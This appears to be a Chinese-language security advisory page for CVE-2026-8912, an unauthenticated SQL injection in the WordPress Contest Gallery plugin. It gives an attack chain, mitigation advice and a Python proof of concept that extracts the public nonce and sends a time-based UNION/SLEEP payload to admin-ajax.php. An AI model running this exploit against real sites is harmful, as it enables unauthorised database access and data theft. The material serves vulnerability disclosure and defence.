IPBUF安全漏洞报告
English
CVE-2026-8912 CVSS 7.5 高危

CVE-2026-8912 WordPress Contest Gallery SQL注入漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-8912
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Contest Gallery Plugin

相关标签

SQL注入WordPressContest Gallery未认证漏洞CVE-2026-8912

漏洞概述

WordPress Contest Gallery插件存在高危SQL注入漏洞。在28.1.6及以下版本中,由于未正确转义用户输入参数,攻击者可利用公开的Nonce绕过验证,通过未认证的AJAX接口执行恶意SQL语句,进而从数据库中提取敏感信息。

技术细节

该漏洞主要存在于WordPress Contest Gallery插件未授权的AJAX处理逻辑中。具体而言,在`users-upload-check.php`文件处理`post_cg_gallery_form_upload`请求时,代码直接将用户提交的`form_input`参数赋值给`$f_input_id`变量,并将其无引号拼接到SQL查询语句`SELECT Field_Content FROM ... WHERE id = $f_input_id`中执行。这种拼接方式未对输入进行任何安全过滤或类型转换,导致了经典的SQL注入漏洞。尽管插件试图通过`cg_nonce`来验证请求合法性,但由于该Nonce是公开的且暴露在任何公开画廊页面的前端源代码中,攻击者可以轻松获取并绕过此验证。因此,未经身份验证的远程攻击者可以利用此漏洞,通过构造特定的HTTP POST请求,向数据库注入恶意的SQL指令。攻击者不仅能读取敏感数据,还可能根据数据库权限进一步写入数据或执行系统命令,对网站安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者访问目标WordPress网站的公开Contest Gallery页面,查看页面HTML源代码。
STEP 2
获取Nonce
从源代码中提取出用于验证AJAX请求的`cg_nonce`值,该值公开可见。
STEP 3
构造攻击载荷
攻击者编写包含SQL注入语句的恶意代码,目标是利用`form_input`参数的拼接漏洞。
STEP 4
发送恶意请求
向`/wp-admin/admin-ajax.php`发送POST请求,携带获取的Nonce和恶意`form_input`参数。
STEP 5
执行SQL注入
服务器端脚本未加过滤地执行了拼接后的SQL语句,攻击者成功从数据库获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # Configuration target_url = "http://example.com/" nonce_pattern = r"cg_nonce.*?value\s*=\s*['\"](.*?)['\"]" # Step 1: Get the Nonce from the public gallery page try: response = requests.get(target_url) nonce = re.search(nonce_pattern, response.text).group(1) print(f"[+] Found Nonce: {nonce}") except Exception as e: print(f"[-] Failed to retrieve Nonce: {e}") exit() # Step 2: Prepare the SQL Injection payload # The payload attempts to extract the database user using a conditional-based injection # exploiting the unquoted $f_input_id in the SELECT statement. payload = "1 UNION SELECT SLEEP(5) -- -" data = { "action": "post_cg_gallery_form_upload", "cg_nonce": nonce, "form_input": payload, "option": "com_cg_gallery" } # Step 3: Send the malicious request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" print(f"[*] Sending payload to {ajax_url}...") r = requests.post(ajax_url, data=data) if r.elapsed.total_seconds() >= 5: print("[+] SQL Injection successful! Response delayed.") else: print("[-] Injection failed or payload incorrect.") print("Response content:", r.text[:200])

影响范围

Contest Gallery <= 28.1.6

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中添加规则,拦截包含SQL关键字(如UNION, SELECT, SLEEP)且针对`/wp-admin/admin-ajax.php`的请求。同时,暂时禁用插件的用户上传功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表